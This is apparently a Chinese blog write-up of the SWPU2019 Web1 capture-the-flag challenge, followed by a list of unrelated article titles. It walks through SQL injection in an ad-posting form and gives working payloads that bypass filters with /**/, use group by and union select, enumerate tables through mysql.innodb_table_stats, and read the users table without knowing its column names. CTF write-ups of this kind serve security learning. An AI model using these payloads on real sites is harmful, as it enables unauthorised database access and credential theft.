[SWPU2019]Web1-1|SQL注入
1、打开之后界面如下:
2、查看源代码、登录注入等未发现有用信息,结果如下:
3、进行注册试试,注册时发现admin账户已被注册,随便注册一个账户并登录,结果如下:
申请发布广告页面如下:
4、发布广告(' or 1=1)进行尝试,进行测试时发现空格、or、#、--+、and等进行了过滤,目前基本可以确定注入点在这个地方,在进行注入的时候我们需要先判断列数,payload:1'/**/group/**/by/**/n,',n为整数(因为对or进行了过滤,导致order无法使用,因此这里才采用group by来确定列数),最终得到n为22,结果如下:
5、确定列数之后那就要确定哪些列得信息可以进行展示,payload:1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,最终获得2和3会显示出来,结果如下:
6、确定回显信息后那就获取基本信息,如数据库名、用户名、版本等信息,最终获得数据库名web1、用户root、数据库类型mariadb,结果如下:
7、information_schema还有or,因为or被过滤,因此也无法使用。所以这里只能采用innodb_index_stats和 innodb_table_stats来进行绕过。payload:1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1,获得表名字为:ads、users,结果如下:
8、进行匿名获取flag值,payload:1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,或者payload:1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,其中group_concat(参数),对参数进行修改,访问每一个字段,结果如下:
如果转载、使用请注明出处。
最新文章
- HTML 5 音频
- 关于MySQL里的found_row()和row_count()解释及用法 [复制链接]
- SQL Server调优系列基础篇(子查询运算总结)
- 《Effective C++》第三版笔记
- Unix Linux 编程书籍
- HTML5_注册表单的自动聚焦与占位文本
- 第10条:始终要覆盖toString
- Android UI开发第三十二篇——Creating a Navigation Drawer
- java 5 线程池
- Routing
- eclips常用快捷键
- Smail语法
- erlang nif小结
- 微信小程序实例教程(一)
- UVa 11340 - Newspaper
- html运用以及工具
- Servlet 中为多项选择题判分---String类的indexOf()方法妙用
- 201521123026 《Java程序设计》第4周学习总结
- Linux-jdk1.7-tomcat7 简易安装
- JAVA_SE基础——9.基本数据类型间的转换